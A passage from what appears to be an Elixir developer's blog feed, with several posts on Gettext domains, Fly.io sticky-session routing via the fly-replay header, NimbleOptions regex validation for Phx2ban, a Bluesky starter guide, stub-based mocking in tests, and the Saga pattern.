# priv/gettext/en/LC_MESSAGES/meta.po
msgid "Hello Employee"
msgstr "Hello Metamate"

# priv/gettext/en/LC_MESSAGES/google.po
msgid "Hello Employee"
msgstr "Hello Googler"

Awesome! Gettext only extracted the domain-specific strings to your domain PO files, which makes it easier to translate them for each company. Gettext also extracted the string to default.po which serves as a fallback. It also extracted all other gettext/1 calls as expected, but only to the default.po file, so that non domain-specific strings won't clutter your domain PO files.

Conclusion

Congratulations! You've resisted the junior urge to immediately run with the first solution you can think of just to feel like you're moving, regardless of whether the direction you move in is even remotely desirable. You found an elegant, simple, and extendable solution and even learned something new about the language you work with, which makes you a better engineer! Good job!

Request Routing and Sticky Sessions in Phoenix on Fly.io

2024-12-06T06:00:00Z

Hey folks, today's blog post is slightly longer than usual, but it'll be worth it. To get you started, let me ask you:

Did you hear about the Italian chef who died?

He pasta-way

Alrighty, let's dig in!

The Problem

A few weeks back, I watched Chris McCord live-code a Twitch clone during the Elixir Stream Week. He implemented an architecture which received the video stream of a creator on one server and broadcasted it to all other servers in the cluster using PubSub. This way, viewers could connect to any server around the globe and they would see a playback of the creator's stream. Neat, right?

However, during the presentation I wondered whether it wouldn't be more efficient to connect all viewers to the server of the creator, which would remove the need to replicate the stream to every server on the network. I asked Chris and he agreed that this would be interesting, however he didn't have the time to get into it.

So, here's a blog post about how you can use Fly's fly-replay header to connect users from around the globe to a single Fly machine, for example to the machine your creator streams to, using Phoenix and Phoenix LiveView. The post also highlights how you can keep the user connected to the server using sticky sessions.

The Setup

I created a small app (GitHub) and deployed it to the Dallas (DFW) and Amsterdam (AMS) regions on Fly.io. I ran two machines in Dallas and one in Amsterdam. Since I'm closest to Amsterdam, Fly would route all my requests to the Amsterdam machine by default. My goal was to change the machine to which Fly routes my request and WebSocket connection using the fly-replay header.

Here's a demo of the app:

The app offered three tabs which simulated three creator streams. The user could jump between streams by clicking on them. The left stream ran on the Amsterdam server, whereas the middle and right streams ran on one of the two Dallas servers. Whenever the user clicked on a stream, they would be rerouted to the correct machine using the fly-replay header and establish a WebSocket connection with the same machine that the creator was also "streaming" to.

The Plug

It took me a few attempts, but eventually I got it working using this Plug:

# lib/chat_web/plugs/redirect_to_machine.ex

defmodule ChatWeb.Plugs.RedirectToMachine do
  use Plug.Builder

  import Plug.Conn

  require Logger

  @cookie_key "fly-machine-id"
  @cookie_ttl 6 * 24 * 60 * 60 * 1000

  def call(conn, opts) do
    conn
    |> fetch_query_params()
    |> fetch_cookies()
    |> handle_conn(opts)
  end

  def handle_conn(%Plug.Conn{params: params} = conn, _opts) do
    machine_id = Application.get_env(:chat, :fly_machine_id)
    param_id = Map.get(params, "instance")
    cookie_id = Map.get(conn.req_cookies, @cookie_key, machine_id)

    cond do
      param_id && param_id == machine_id ->
        Logger.info("Correct machine based on parameter #{param_id}. Set cookie and let pass.")
        put_resp_cookie(conn, @cookie_key, machine_id, max_age: @cookie_ttl)

      param_id && param_id != machine_id ->
        Logger.info("Incorrect machine #{machine_id} based on parameter #{param_id}. Redirect.")
        redirect_to_machine(conn, param_id)

      cookie_id && cookie_id == machine_id ->
        Logger.info("Correct machine based on cookie #{cookie_id}. Let pass.")
        conn

      cookie_id && cookie_id != machine_id ->
        Logger.info("Incorrect machine #{machine_id} based on cookie #{cookie_id}. Redirect.")
        redirect_to_machine(conn, cookie_id)

      true ->
        Logger.info("No parameter or cookie. Let pass.")
        conn
    end
  end

  defp redirect_to_machine(conn, requested_machine) do
    conn
    |> put_resp_header("fly-replay", "instance=#{requested_machine}")
    |> put_status(307)
    |> Phoenix.Controller.text("redirecting...")
    |> halt()
  end
end

In essence, the plug above decides whether to redirect the request based on three variables:

The current machine ID (machine_id)
The machine ID requested as a parameter (param_id)
The machine ID set in the cookie (cookie_id)

I created the decision tree below to visualize the decision making process of the Plug. Have a look:

As an example, if the request has a parameter and the parameter machine ID is different from the current machine ID, it would redirect the request to the parameter machine ID using the fly-replay header.

An important detail is that I store the current machine ID in a cookie when the request reaches the correct machine. This is important because only the initial HTTP request of the user contains the machine ID parameter, and the subsequent WebSocket connection request does not, but it does contain the cookie. So, to reroute the WebSocket connection as well, I needed the cookie.

By setting the cookie, we ensure that all future requests, static HTTP or WebSocket upgrades, are redirected to the same machine. This makes our session "stick" to a single machine, hence the name "sticky session".

The Endpoint

Using the plug was a bit tricky as well. If you add the plug to your endpoint as a regular plug, it won't intercept the WebSocket connection requests because these don't go through the regular endpoint. Thanks to Chris for pointing this out in the Elixir Slack.

Instead, you need to override the call/2 callback of your Endpoint like this:

# lib/chat_web/endpoint.ex

defmodule ChatWeb.Endpoint do
  use Phoenix.Endpoint, otp_app: :chat

  def call(conn, opts) do
    case ChatWeb.Plugs.RedirectToMachine.call(conn, opts) do
      %Plug.Conn{halted: true} = conn -> conn
      conn -> super(conn, opts)
    end
  end

  # ...
end

The code above will intercept all requests going through your endpoint, including WebSocket connection requests. We use our plug to decide whether to let them pass or redirect them.

If we redirect, we include the fly-replay: instance=#{machine_id} header and respond with a 307 Temporary Redirect so that the Fly proxy can redirect the request to the correct machine. If we allow the request to pass, we call the default Endpoint.call/2 callback using super(conn, opts), which continues with the regular endpoint execution.

The Environment

The next step of the setup is to fetch the machine ID from the environment variables. Fly adds a number of environment variables to your machine. This is my runtime.exs:

# config/runtime.exs

config :chat,
  fly_region: System.get_env("FLY_REGION", "blank"),
  fly_machine_id: System.get_env("FLY_MACHINE_ID", "blank"),
  fly_vm_memory_mb: System.get_env("FLY_VM_MEMORY_MB", "blank")

Discover Machines

The final step of the setup is to track which "creators" are currently online and to which machine they are streaming. The exact implementation of this discovery depends on your use case, so I'll just link to the implementation I used for my demo project.

In essence, upon startup and every 10 seconds thereafter, I send a discovery message through PubSub from the machine to all other machines in the cluster, and the other machines reply with their machine ID and which creator they host. This way, I maintain a list of all machine IDs and their creators on each machine.

This implementation works for my demo project, but in a real-world application, I would prefer to send a PubSub message whenever a creator starts or stops streaming. This eliminates the need to rediscover the same machines every 10 seconds.

Putting it Together

With this setup in place, we can redirect a user to a specific machine simply by passing the machine ID as a parameter. Neat, right?

{:noreply, redirect(socket, to: ~p"/?#{instance: machine_id}")}

If we look at the logs, we can see how the HTTP request and WebSocket connection get redirected from the Amsterdam server to the same machine in Dallas:

# Static HTTP Request
ams [info] Incorrect machine d8dd626f379508 based on parameter 286533db064e58. Redirect.
dfw [info] Correct machine based on parmeter 286533db064e58. Set cookie and let pass.
dfw [info] GET /
dfw [info] Sent 200 in 1ms

# WebSocket Connection Request
ams [info] Incorrect machine d8dd626f379508 based on cookie 286533db064e58. Redirect.
dfw [info] Correct machine 286533db064e58 and cookie. Let pass.
dfw [info] CONNECTED TO Phoenix.LiveView.Socket in 34µs
dfw [info]  Transport: :websocket
dfw [info]  Serializer: Phoenix.Socket.V2.JSONSerializer
dfw [info]  Parameters: %{"_csrf_token" => "..."}

Conclusion

Parse a Regex with NimbleOptions

2024-12-02T06:00:00Z

Today's post is a tiny one. I recently added a configuration option to Phx2ban that allows users to define routes that should be excluded from the Web Application Firewall (WAF) rules of Phx2ban. Basically, any request to any of the given routes should be ignored.

I wanted to allow the user to define the routes as strings (/my-path/foo) but also as regex (~r/my-path/*). We use NimbleOptions to validate the Phx2ban config, but it does not define a regex type, so I was at a loss about how to allow both strings and regexes as a NimbleOption.

Luckily, I realized pretty quickly that the notation ~r/foo/ simply returns a Regex struct, although it's kind of hidden because of the way the Regex is printed out:

iex> IO.inspect(~r/foo/)
~r/foo/

However, I also learned that you can print out all information about a data type using the i/1 helper function. This revealed that the shorthand notation ~r/foo/ is simply a Regex-struct!

iex> i ~r/foo/
Term
  ~r/foo/
Data type
  Regex
Description
  This is a struct representing a regular expression. It is commonly
  represented using the `~r` sigil syntax, that is
  defined in the `Kernel.sigil_r/2` macro.
Raw representation
  %Regex{
    re_pattern: {...},
    source: "foo",
    opts: [],
    re_version: {"8.44 2020-02-12", :little}
  }
Reference modules
  Regex, :re
Implemented protocols
  IEx.Info, Inspect

This meant that I could allow a regex in my NimbleOptions field with the type definition: {:struct, Regex}.

This was my final type definition:

definition =
  NimbleOptions.new!(
    routes_to_ignore: [
      default: [],
      type: {:list, {:or, [:string, {:struct, Regex}]}}
    ]
  )

Now, I was able to validate that the new configuration field only receives strings and regexes as input values:

iex> NimbleOptions.validate(%{routes_to_ignore: ["/wp-admin.php", ~r/django/]}, definition)
{:ok, %{routes_to_ignore: ["/wp-admin.php", ~r/django/]}}

Conclusion

A Bluesky Starter Guide for Elixir Devs

2024-11-16T10:00:00Z

It feels like the eXodus of the Elixir community from X to Bluesky is in full swing. Even if you don't want to abandon X yet, setting up camp on Bluesky is a smart choice. I wrote this guide to make the switch easier for you. Here's how to join the Elixir community on Bluesky and some key terms you should know about.

1. How to sign up

Just go to bsky.app and create an account. Don't worry if your preferred username isn't available. We'll replace it with your private domain in the next step.

2. Use your domain as handle

When you sign up, you will get a username like @pjullrich.bsky.social, but the cool kids use their own domain as handle, for example @peterullrich.com. This looks cool and verifies your account at the same time.

You can start the setup from the menu Settings > Change my handle. Click I have my own domain, enter your domain and add the given DNS record to your DNS provider. Then wait a few minutes and click Verify DNS Record.

And that's it! If you get lost, the Bluesky official guide provides screenshots of each step.

3. Set up your profile

Seriously, please add a profile picture, name, and description to your account right away. Half of the new accounts who follow me have no name, description, profile pic, or banner. That makes it really hard for me to know who you are and to follow back since I'm terrible with names!

4. Use #ElixirLang

We've retired the hashtag #MyElixirStatus for #ElixirLang during the big migration, so please use it deliberately. DON'T use #Elixir unless you want your content to compete with potion makers and D&D players. It's #ElixirLang from now on.

5. Find folks via Starter Packs

Starter Packs are a Bluesky invention that is so obvious and yet so genius. They are user-curated lists of users and feeds related to a specific topic and you can follow all mentioned users with a single click. Starter Packs make it easy to find and follow the most important people who talk about a certain topic or are generally interesting.

I created a Starter Pack for Elixir-ists and other BEAM people, and so did Peter Solnica and Ryan Winchester

You can find more Starter Packs in the unofficial and not complete Bluesky Directory.

A small tip: Check the Starter Packs regularly because we add new Elixir folks regularly as they join Bluesky.

6. Find your X connections on Bluesky

The Sky Follower Bridge browser extension helps you quickly find the Bluesky accounts for people you follow on X. You won't find all of them, but this will give you a good starting point for migrating your network from X to Bluesky.

7. Add more Feeds

When you sign up for Bluesky, you only have the Discover feed, but just like on X, you can add more feeds to your Home view. For example, you can follow the Bluesky team, posts mentioning #ElixirLang, my list of Elixir People, a feed that shows posts you pinned, and more.

The fastest way to find and add feeds is to navigate to bsky.app/feeds or to click on the hashtag symbol at the top right of your Home view. You can browse and add feeds under the Discover New Feeds section.

8. Follow a Labeler

The Bluesky network is policed by two groups of moderators: The official Trust & Safety team and independent moderation services. Moderation services are also called Labelers because they add labels to posts and accounts that show certain behaviours. Bluesky users can subscribe to these labelers and allow them to warn or block certain content automatically.

The most popular labeler is probably Skywatch. If you don't want to moderate your timeline manually, I suggest you subscribe to Skywatch and select under each label whether they should warn about or block posts for certain topics.

9. Import your old Tweets

If you don't want to lose your previous .. ahem ... art, you can import your old tweets either through the paid BlueArk service or the free Twitter-to-Bluesky script.

10. Delete your old Tweets

Once you're ready to take the plunge and expunge your X account, you can delete all your old tweets using either the paid TweetDelete or the free tweetXer script.

11. Show your X you've moved on

You can change your X banner to one of these to show folks where to find you from now on:

courtesy of bluesky-migrate.com

12. Watch Bluesky grow

I enjoy checking the number of total Bluesky users tremendously. Since the US elections, many people have left X for Bluesky, and currently, 1 MILLION new users join per DAY!

You can watch the Bluesky user count grow in almost real-time on these websites:

13. Get back TweetDeck (and more tools!)

If you are looking for a TweetDeck alternative for Bluesky, look no further than the freemium deck.blue.

Justin Jackson wrote up a nice overview of current Bluesky projects. It's worth checking this list regularly because Justin updates it whenever he finds a new project.

14. Consume the Bluesky Firehose

Bluesky offers a public firehose which sends you everything that's happening. You can connect to either the simplified, JSON-based firehose Jetstream or the CBOR-encoded Firehose directly. I streamed about how to connect to the Firehose here.

I used WebSockex to establish the WebSocket connection and CBOR to decode the CBOR packages. However, I ended up deleting the CBOR step and connect to the JSON-based Jetstream firehose directly.

15. Follow me, maybe?

As a terminally online person, it was hard for me to leave X, but I'm more than happy to spend most of my waking hours on Bluesky now. If you liked this article, maybe give me a follow over there and let's continue the conversation. See you in the sky!

Extra: Warning - You're being watched

-- tin foil hat on --

One note of caution: Bluesky is a truly public network. Everyone can see everything, and anyone can connect to the firehose, or the JSON-based Jetstream, and collect and store everything. This is different from X, which removed public access to their firehose and - at least in the pre-Elon times - blocked even the CIA and FBI from accessing it, at least most of the time.

So, when you post on Bluesky, you can be almost certain that all major law enforcement agencies will collect and store your content for all eternity given their unfiltered and unlimited access to everything that has happened on the platform.

Just to be clear: If your X account is public, they were probably already able to do this because they can scrape your public tweets, likes, replies, and retweets. However, scraping at this scale is infinitely more difficult than connecting to an API that gives you the data in a machine-readable format.

And to be double-clear: This is almost certainly happening on Mastodon as well because anyone can start their own instance, connect to the fediverse, and listen to everything. In fact, any distributed social network will face this issue unless they grant network access only to select instances.

And to be triple-clear: Even private social networks comply with law enforcements and frequently hand over user data if instructed to do so. Funny enough, X complies with many more requests (71%) than Twitter ever did (20-30%)!

All this to say: If you post on Bluesky, Mastodon, and probably now also X, be mindful about what you post and don't incriminate yourself.
That's all!

-- tin foil hat off --

Easy Mocking in Elixir

2024-10-24T06:00:00Z

Hey folks, today's article is a quick one, but let me start with the obligatory dad joke:

What's red and bad for your teeth?

A brick

Alrighty, today's post is about a quick and easy approach to mocking in Elixir tests.

Update: After publishing this blog post, my good friend and favourite nit-picker, Tobi Pfeiffer, pointed out on X that the "Mock" described here is actually a Stub. Unsurprisingly, given that from the five smartest people in a room, Tobi is three of them, he was right. I added a section on this topic to the end of the post. Thank you, Tobi ❤️

The Problem

I'm a big believer in testing. I love writing tests and making them exhaustive. Writing tests is just as much of a skill as writing your application code, and the earlier you start practicing, the easier and faster it will become. As I develop my application, I frequently add small test cases that only contain assert false to remind myself of edge cases that I need to handle. But whether you love writing tests or you only practice "guilt-based testing", as Chris McCord does, there's one problem that you will always encounter: how to mock external dependencies.

There are plenty of mocking libraries out there like mock, mox, or mimic, and they all work pretty well. AppSignal wrote a helpful guide for them here.

However, I'd like to propose a much simpler and dependency-free alternative to mocking your external dependencies. In fact, José Valim himself wrote about this approach already in 2015 here! The approach is simple: Just replace your dependency module with a mock during tests.

The Solution

Let's say that you depend on the Stripe API in your application like this:

defmodule MyApp.Invoices do
  def get_invoice_url(invoice_id) do
    case Stripe.Invoice.retrieve(invoice_id) do
      {:ok, %Stripe.Invoice{hosted_invoice_url: url}} -> {:ok, url}
      {:error, %Stripe.ApiErrors{message: message}} -> {:error, message}
    end
  end
end

This code uses the wonderful StripityStripe library to interact with the Stripe API. But how can we mock this dependency in our tests? Easy! We change the Stripe module that our code uses based on the environment!

# config/config.exs
config :my_app, stripe: Stripe

# config/test.exs
config :my_app, stripe: MyApp.Support.StripeMock

and in our code, we fetch the dependency during compile time:

# lib/my_app/invoices.ex
defmodule MyApp.Invoices do
  @stripe Application.compile_env(:my_app, :stripe)

  def get_invoice_url(invoice_id) do
    case @stripe.Invoice.retrieve(invoice_id) do
      {:ok, %Stripe.Invoice{hosted_invoice_url: url}} -> {:ok, url}
      {:error, %Stripe.ApiErrors{message: message}} -> {:error, message}
    end
  end
end

Note that we set the dependency during compile time and not runtime as José's blog from 2015 describes. Since Elixir 1.17 (I believe), you get an error if you try to call a sub-module of a runtime dependency.

iex> stripe = Stripe
Stripe
iex> stripe.Invoice.retrieve("foobar")
error: invalid alias: "stripe.Invoice". If you wanted to define an alias,
an alias must expand to an atom at compile time but it did not, you may
use Module.concat/2 to build it at runtime. If instead you wanted to invoke
a function or access a field, wrap the function or field name in double quotes
└─ iex:3

** (CompileError) cannot compile code (errors have been logged)

We fix this error by defining the module during compile time using Application.compile_env/2. Now, we can use @stripe.Invoice.retrieve/1 without error.

The Tests

Now that we have our mock in place, let's see how we can test against it. First, let's create some tests:

# test/my_app/invoices_test.exs
defmodule MyApp.InvoicesTest do
  use MyApp.DataCase, async: true

  alias MyApp.Invoices

  describe "get_invoice_url/1" do
    test "returns an invoice url" do
      assert {:ok, url} = Invoices.get_invoice_url("in_12345")
      assert url == "https://stripe.com/invoice/in_12345"
    end

    test "returns an error if the API key misses permissions" do
      assert {:error, message} = Invoices.get_invoice_url("in_forbidden")
      assert message == "The API key doesn’t have permissions to perform the request."
    end
  end
end

We wrote two tests: one for the happy path and one for the error path. We instruct our mock which response to return using the invoice ID. Let's see how the mock looks like:

# test/support/stripe_mock.ex
defmodule MyApp.Support.StripeMock do
  defmodule Invoice do
    # Used in test/my_app/invoices_test.exs
    def retrieve("in_forbidden") do
      {:error, %Stripe.ApiErrors{message: "The API key doesn’t have permissions to perform the request."}}
    end

    def retrieve(invoice_id) do
      {:ok, %Stripe.Invoice{hosted_invoice_url: "https://stripe.com/invoices/#{invoice_id}"}}
    end
  end
end

The mock is pretty basic, but it allows us to mirror the module structure of the StripityStripe library and to return the expected Stripe structs based on the arguments we receive from the tests. I like to add a comment indicating which test uses a special case, like the "in_forbidden" case, to make it easier to connect the mock clause with the test file in which it is used.

Mocks vs Stubs

After I published this blog post, my good friend, Tobi Pfeiffer, pointed out that the "Mock" described above is actually a "Stub". He was right, so let's understand why.

The difference between a Mock and a Stub is subtle and frequently leads to confusion between the two. In essence, a Stub is a dumb replacement of your dependency that only returns expected responses. A Stub does not validate its input arguments and has no test assertions. Your test may not fail if the Stub isn't called at all.

A Mock, on the other hand, contains validations that can fail your tests if not fulfilled. It may validate the input arguments and return responses based on some internal logic. It might also validate your business rules against the input arguments. Your test can expect the Mock to be called and fail if that doesn't happen. So, a Stub is a dumb replacement whereas a Mock is a replacement "with an attitude", as Tobi says.

Luckily, we won't have to change much to make our Stub a proper Mock. We'll use a nifty trick that Tobi shared with Devon Estes, who kindly described it on his blog. The trick is to send a message from our Stub/Mock to our Test case with information about which function was called and with which arguments. Let's have a look at the new Mock+Test setup:

# test/support/stripe_mock.ex
defmodule MyApp.Support.StripeMock do
  defmodule Invoice do
    def retrieve(invoice_id) do
      send(self(), {:retrieve, invoice_id})

      {:ok, %Stripe.Invoice{hosted_invoice_url: "https://stripe.com/invoices/#{invoice_id}"}}
    end
  end
end

# test/my_app/invoices_test.exs
defmodule MyApp.InvoicesTest do
  use MyApp.DataCase, async: true

  alias MyApp.Invoices

  describe "get_invoice_url/1" do
    test "returns an invoice url" do
      assert {:ok, url} = Invoices.get_invoice_url("in_12345")
      assert url == "https://stripe.com/invoice/in_12345"

      assert_receive {:retrieve, "in_12345"}
    end
  end
end

This clever technique of sending a message to the test case enables us to assert that the mock was called with the correct arguments. With just two lines of code, we transformed our dumb Stub into a slightly smarter Mock, as we now assert not only that the mock is called but also that it's called with the correct arguments.

However, the real question remains unanswered: Will "Well, actually"-Tobi approve of this new implementation or not? We shall see 😬

Conclusion

And that's really it. I use this pattern in all my projects and tend to replace existing mocks with it when possible. It's lightweight but expressive enough to support even large test suites. I like that I don't have to repeat the same mock setup over and over again for every test case and file as I have to with some mocking libraries. I define a mock once and can use it everywhere. I also like that the setup in my application code is a one-liner at the top of the file.

I hope you enjoyed this article! If you want to support me, you can buy my book or video courses (one and two). Follow me on BlueSky or subscribe to my newsletter below if you want to get notified when I publish the next blog post. Until next time! Cheerio 👋

The Saga Pattern in Elixir

2024-10-01T06:00:00Z

Welcome to another blog post! First, an excerpt from my life:

A bike in town keeps running me over.

It’s a vicious cycle.

Alrighty, now let's dive into today's topic: Using the Saga Pattern in Elixir.

The Problem

If you build software long enough, you will eventually encounter use cases that require multiple steps to succeed before the overall process can be considered "complete". If any of the steps fail, you'll want to abort any further steps, roll back the state, and inform someone about the failure. So, either all steps succeed or none do. This is called an atomic transaction, and guaranteeing this Atomicity is harder than you'd expect.

For most use cases, wrapping the steps in a single Ecto.Multi transaction is enough to guarantee Atomicity. If a step fails, Ecto rolls back all database transactions and returns an error. Usually, you'll pass back the error message and let the caller handle it. However, sometimes you might encounter use cases in which you can't wrap all steps in a single transaction. Usually, they include steps that are separated either by time or space.

For example, if a customer rents a car through your software, you might want to mark the order as "pending" until you get the confirmation from your garage that the requested car is indeed available. If the car isn't available, you shouldn't charge the customer's credit card and inform them that they have to pick another car or cancel the order. You couldn't keep the database transaction open until you hear back from the garage, possibly hours or days later. This is an example of a use case separated by "time".

For another example, imagine that if a customer rents a luxury car, you reserve the car with another car rental provider through an API call because you don't own such cars yourself. You decide to reserve the car even before you charge the customer's credit card because you want to avoid the embarrassment that your high-profile customer doesn't get the car although they've just paid for it. But this means that you'll need to cancel the car reservation if the payment fails. Since the reservation record lives in the other car rental's database, you can't wrap it in your transaction and have to call their API again to cancel the reservation. This is an example of a use-case separated by "space".

In both situations, you could resolve the error cases manually. Just expose a "cancel order" button in the UI which refunds all payments and cancels the reservation and let the support employee click it whenever necessary. However, we are software engineers and automating this stuff is our job. So, let's see how we could do that using the Saga pattern.

The Solution

The Saga pattern targets exactly this issue. It is sometimes referred to as Long-lived transaction (LLT) and was proposed in 1987 (that's even before the World Wide Web was invented by Tim Berners-Leein 1989!). As with all software patterns, it only offers a blueprint and not a ready-made solution you can simply copy and paste. The blueprint is basically this:

Each Saga is a sequence of transactions.
Each transaction executes a state change and triggers the next transaction.
Every transaction has a compensation which rolls back the state change of the transaction.
If a transaction fails, the Saga executes the compensations of all previous transactions to roll back the state.

The Saga pattern usually comes in one of two flavours: Choreography-based and Orchestration-based. Let's look at each.

Choreography-based

The Choreography-based Saga pattern is common if your transaction spans multiple microservices and no single microservice controls all steps of the Saga. In this approach, every transaction notifies the other microservices that it has completed, usually through events. Other microservices listen to these "completed" events and trigger their own transactions. If a transaction fails, it emits a "compensation" event, which notifies the other microservices that they need to roll back their own transactions.

For example, you might have an OrderService that handles the initial customer order, a ReservationService that reserves the luxury car with an external vendor, and a PaymentService that charges the customer's credit card after the reservation succeeds.

Below is an example of a choreography-based Saga pattern that uses events to execute a long-lived transaction between microservices. If you don't work with microservices, this choreography-based approach might still be interesting to you. It could also occur as function calls between different modules in your application. The essence here is that no single module owns all transactions of the Saga; instead, they are distributed across many places.

The arrows are events that are published by one service and handled by the other.

In this use-case, the OrderService publishes an OrderCreated event to which the ReservationService reacts by trying to reserve the car. If the reservation fails, the ReservationService publishes a ReservationFailed event, which triggers the OrderService to cancel the order. If the reservation succeeds, the PaymentService is notified and attempts to charge the customer. If the charge fails, both the ReservationService and the OrderService react to the PaymentFailed event and cancel the reservation and order. If the payment succeeds, the OrderService confirms the order, which completes the Saga.

Now, how would we implement this in Elixir?

In my recent blog post Resurrect your Phoenix Context, I argue against a "One module per use-case" approach and suggest that you consolidate all use-cases that "belong together" into one module instead. I think that event handlers should be treated the same unless you have hundreds of them, in which case you could group them by their "entity" (e.g. Order, Reservation, Payment).

Below is roughly how I'd implement the choreography-based Saga pattern above in Elixir. I'll focus on the OrderService, the other services would have a similar setup.

defmodule OrderService.EventHandler do
  def handle_event(%Event{name: "ReservationFailed", data: data}) do
    OrderService.Orders.handle_reservation_failed(data)
  end

  def handle_event(%Event{name: "PaymentFailed", data: data}) do
    OrderService.Orders.handle_payment_failed(data)
  end

  def handle_event(%Event{name: "PaymentSucceeded", data: data}) do
    OrderService.Orders.handle_payment_succeeded(data)
  end
end

defmodule OrderService.Orders do
  def create_order(attrs) do
    # You'll want to make inserting the record and
    # omitting the event atomic too.
    Ecto.Multi.new()
    |> Ecto.Multi.insert(:order, Order.changeset(attrs))
    |> Ecto.Multi.run(:event, fn _, %{order: order} ->
      OrderService.Events.publish(:order_created, order)
    end)
    |> Repo.transaction()
    |> case do
      {:ok, %{order: order}} -> {:ok, order}
      {:error, _operation, error, _changes} -> {:error, error}
    end
  end

  def handle_reservation_failed(%{order_id: order_id, reason: reason}) do
    with {:ok, order} <- get_order(order_id),
         {:ok, order} <- delete_order(order) do
      send_order_cancelled_email(order, reason)
    end
  end

  # I omitted the other handlers because they look quite similar.
end

This is a very rough implementation. The main point here is that you won't have one function or module that handles the entire Saga, but rather multiple independent functions that each handle only a small part of the Saga. They all need to work together in a distributed manner to complete the use case.

You also won't have dedicated "transaction" and "compensation" actions, but rather generic functions that look alike. The Saga remains rather abstract in the choreography-based Saga pattern, and it's up to you to document it well enough so that it becomes visible to other developers too. This is what the orchestration-based approach does better.

Orchestration-based

The orchestration-based Saga pattern consolidates all transactions and compensations into a central orchestrator instead of distributing them over multiple services or functions like the choreography-based does. This approach makes it easy to understand all facets of the Saga and allows for exhaustive testing. However, it is also a single point of failure. Your Saga won't complete if the handling server crashes or becomes unavailable.

This is a simplified sequence diagram for executing the "Renting a luxury Car" Saga using an Orchestrator:

This is how you could implement the Orchestrator using Elixir:

defmodule MyApp.Orders do
  # This repository keeps all CRUD functions
  # for the Order schema.
  alias MyApp.Orders.OrderRepo

  alias MyApp.Payments
  alias MyApp.Reservations
  alias MyApp.UserNotifier

  def create_order(attrs) do
    with {:ok, order} <- OrderRepo.create_order(attrs),
         :ok <- handle_order_created(order) do
      {:ok, order}
    end
  end

  defp handle_order_created(order) do
    with {:car, {:ok, car}} <- Reservations.reserve_car(order),
         # We enqueue a Background Job that charges the customer.
         # This is an example of a Saga that is time-separated
         # in which we can't execute all transactions at once
         # and need to wait for some to finish before we proceed.
         {:charge, :ok} <- Payments.enqueue_charge_order_job(order, car) do
      :ok
    else
      # These error clauses are our "compensations" and
      # they should roll back any previous state change.
      {:car, error} ->
        {:ok, _order} = OrderRepo.delete_order(order)
        error

      {:charge, error} ->
        :ok = Reservations.cancel_car(order)
        {:ok, _order} = OrderRepo.delete_order(order)
        error
    end
  end

  # This is the last transaction of the Saga which
  # is called by Payments when the "Charge Customer"
  # Background Job succeeds. You see that a Saga might
  # need to start and stop between transactions.
  def handle_payment_succeeded(order_id) do
    with {:ok, order} <- OrderRepo.get_order(order_id),
         {:ok, order} <- OrderRepo.update_order(order, %{status: :confirmed}) do
      UserNotifier.send_order_confirmed_email(order)
    end
  end

  # This is the compensation for the "Charge customer"
  # transaction. It needs to roll back the previous transactions
  # and notify someone that the order failed.
  def handle_payment_failed(order_id) do
    with {:ok, order} <- OrderRepo.get_order(order_id),
         :ok <- Reservations.cancel_car(order),
         {:ok, _order} <- OrderRepo.delete_order(order) do
      UserNotifier.send_order_failed_email(order)
    end
  end
end

Our orchestrator consolidates all transactions and compensations for the Saga in a single place. It might not be a single function, but a few related functions which handle different steps of the Saga. In our example above, the Saga is time-separated because we schedule a background job for charging our customer instead of charging them right away. This shows us that even if a Saga relies on synchronous function calls, it might not be able to execute all functions at once but rather has to start and stop in between steps.

One note of caution: Be extra careful when you design the compensations. Compensations must "clean up" your state, so they cannot fail. Otherwise, your system will remain in an inconsistent state. That's why you must make sure that your compensations will succeed - ideally - 100% of the time, all the time. This means they should have retry mechanisms and exhaustive error handling to ensure that they succeed eventually. And if they don't succeed, at least they should fail with a big bang that alerts you and your team and allows you to clean up the state manually.

If our Saga can execute without having to wait too long, we could implement it as a short-lived transaction instead.

Short-lived Transactions

Although the Saga pattern is also called a long-lived transaction, you can use it for short-lived transactions as well. That is, even if your Saga fits into a single database transaction. As long as you use the transaction-compensation pairing with rollbacks in the event of failures, you have a Saga pattern. Here's an example of such a Saga:

defmodule MyApp.Orders do
  alias MyApp.{Reservations, Payments}

  def create_order(attrs) do
    Ecto.Multi.new()
    |> Ecto.Multi.insert(:order, Order.changeset(attrs))
    |> Ecto.Multi.run(:car, fn _, %{order: order} ->
      Reservations.reserve_car(order)
    end)
    |> Ecto.Multi.run(:charge, fn _, %{order: order, car: car} ->
      Payments.charge_order(order, car)
    end)
    |> Repo.transaction()
    |> case do
      {:ok, %{order: order}} ->
        {:ok, order}

      # These error handlers are the "compensations"
      # of the previous "transactions" of the Saga.

      {:error, :order, error, _changes} ->
        # No need to delete the order.
        # Ecto rolled back the db transaction.
        {:error, error}

      {:error, :car, error, _changes} ->
        # No need to delete the order.
        # Ecto will roll back the insertion for us.
        {:error, error}

      {:error, :charge, error, %{car: car}} ->
        # This compensation needs a retry mechanism
        # and exception handling. Otherwise, the compensation
        # might not clean up the reservation properly.
        :ok = Reservations.cancel_car(car)
        {:error, error}
    end
  end
end

Sage library

The Sage offers an attractive framework for writing Saga's in Elixir. It comes with important features like transaction retries and exception handling. I haven't used it in production yet, but it might be a good option if you have very complex and critical Sagas. Learn more about Sage in this excellent blog post.

Synchronous vs Asynchronous Communication in Sagas

In both the choreography-based and orchestration-based Saga patterns, you can trigger transactions either synchronously or asynchronously. You can either execute each transaction as a function or API call, or use an event-based system to trigger and return the result of each transaction.

The advantage of synchronous transactions is that they involve less code and are easier to test and reason about. However, your Saga might fail for reasons unrelated to its logic, for example, if another microservice or an external API is unavailable. In these situations, you might want to retry after a little while instead of rolling back the entire Saga.

An asynchronous, event-based Saga offers such a retry mechanism and even simple exception handling. If a transaction fails, our event handler will try to deliver the event again, possibly with an exponential backoff. This makes the overall Saga more resilient. But an event system requires much more code, and the Saga becomes a distributed procedure with code in many places.

Which approach is best for you depends on your situation. I suggest that you opt for the synchronous, orchestration-based Saga pattern whenever you can, given its simplicity and the centralisation of business logic. However, if you have an event system in place already, the choreography-based or asynchronous approach might offer valuable benefits without much additional work.

Conclusion

And that's it! I hope you enjoyed this article! If you want to support me, you can buy my book or video courses (one and two). Follow me on BlueSky or subscribe to my newsletter below if you want to get notified when I publish the next blog post. Until next time! Cheerio 👋

Resurrect your Phoenix Context

2024-09-23T06:00:00Z

Hey folks, welcome back! After such a long time without a blog post from me, you might ask yourself:

When is a joke a dad joke?

When it's apparent.

Anyway, let's get started with today's topic: Why you shouldn't kill your Phoenix context and - in fact - resurrect it!

A Retraction

